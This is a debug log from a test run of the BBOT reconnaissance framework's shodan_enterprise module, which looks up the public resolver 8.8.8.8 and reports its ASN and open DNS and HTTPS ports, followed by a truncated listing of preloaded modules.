bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:09:00,086 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 17:09:00,086 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:09:00,086 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 17:09:00,087 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 17:09:00,087 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 17:09:00,091 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/bwkfl9xnve3sfzrr0cf6 -2026-03-01 17:09:00,861 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 17:09:00,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 17:09:00,863 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 17:09:00,981 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 17:09:00,981 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 17:09:00,981 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 17:09:00,983 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 17:09:00,983 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 17:09:00,983 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 17:09:00,983 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 17:09:00,984 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 17:09:00,984 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 17:09:00,985 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 17:09:00,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 17:09:00,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 17:09:00,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 17:09:00,986 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 17:09:00,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 17:09:00,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 17:09:00,987 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 17:09:00,987 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 17:09:00,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 17:09:00,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 17:09:00,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 17:09:00,988 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 17:09:00,989 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 17:09:00,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 17:09:00,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 17:09:00,991 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 17:09:00,991 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 17:09:00,992 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 17:09:01,143 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_0tq08qn6c7 -2026-03-01 17:09:01,143 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 17:09:01,250 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 17:09:01,251 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 17:09:01,251 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 17:09:01,252 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 17:09:01,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:09:01,355 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:09:01,356 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:09:01,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-01 17:09:01,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-01 17:09:01,359 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:09:01,359 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:09:01,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 17:09:01,361 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:09:01,362 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:09:01,362 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 17:09:01,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,364 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:09:01,364 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 17:09:01,371 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,371 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 17:09:01,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,373 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-01 17:09:01,373 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-01 17:09:01,374 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-01 17:09:01,374 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 17:09:01,374 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,470 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 17:09:01,471 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 17:09:01,471 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:09:01,472 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-01 17:09:01,472 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 17:09:01,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:09:01,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,475 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,475 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,476 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,477 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,477 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:09:01,478 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,478 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:09:01,479 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:09:01,479 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,480 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,480 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,481 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,481 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,482 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:09:01,482 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,483 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,483 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,484 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:09:01,484 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:09:01,485 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:09:01,485 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,485 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:09:01,486 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,486 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,487 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,487 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,488 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,488 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,489 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:09:01,489 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:09:01,489 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:09:01,490 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,490 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:09:01,491 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 17:09:01,491 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,492 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,492 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:09:01,493 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:09:01,574 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:09:01,574 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,574 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:09:01,575 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,575 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 17:09:01,575 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:09:01,576 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:09:01,576 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:09:01,577 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 17:09:01,577 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 17:09:01,578 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 17:09:01,578 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 17:09:01,579 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 17:09:01,579 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 17:09:01,579 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 17:09:01,579 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 17:09:01,680 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 17:09:01,681 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 17:09:01,699 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 17:09:01,700 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 17:09:01,700 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 17:09:01,707 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 17:09:01,708 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 17:09:01,708 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 17:09:01,709 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 17:09:01,710 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 17:09:01,711 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 17:09:01,824 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_0tq08qn6c7 completed in 0 seconds with status FINISHED -2026-03-01 17:09:01,824 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 17:09:01,825 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:09:01,826 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events -2026-03-01 17:09:01,826 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 17:09:01,826 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:53', '8.8.8.8:443'] -2026-03-01 17:09:01,827 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected -2026-03-01 17:09:01,827 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] -2026-03-01 17:09:01,827 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected -2026-03-01 17:09:01,827 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events -2026-03-01 17:09:01,828 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} -2026-03-02 08:52:52,808 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 08:52:52,814 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-03-02 08:52:52,818 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 08:52:52,819 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 08:52:52,819 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-03-02 08:52:52,821 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-03-02 08:52:52,822 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-03-02 08:52:52,825 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-03-02 08:52:52,826 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-03-02 08:52:52,828 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-03-02 08:52:52,829 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-03-02 08:52:52,830 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-03-02 08:52:52,832 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-03-02 08:52:52,833 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-03-02 08:52:52,834 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-03-02 08:52:52,837 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-03-02 08:52:52,839 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-03-02 08:52:52,840 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-03-02 08:52:52,841 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-03-02 08:52:52,843 [DEBUG] bbot.module_loader modules.py:154 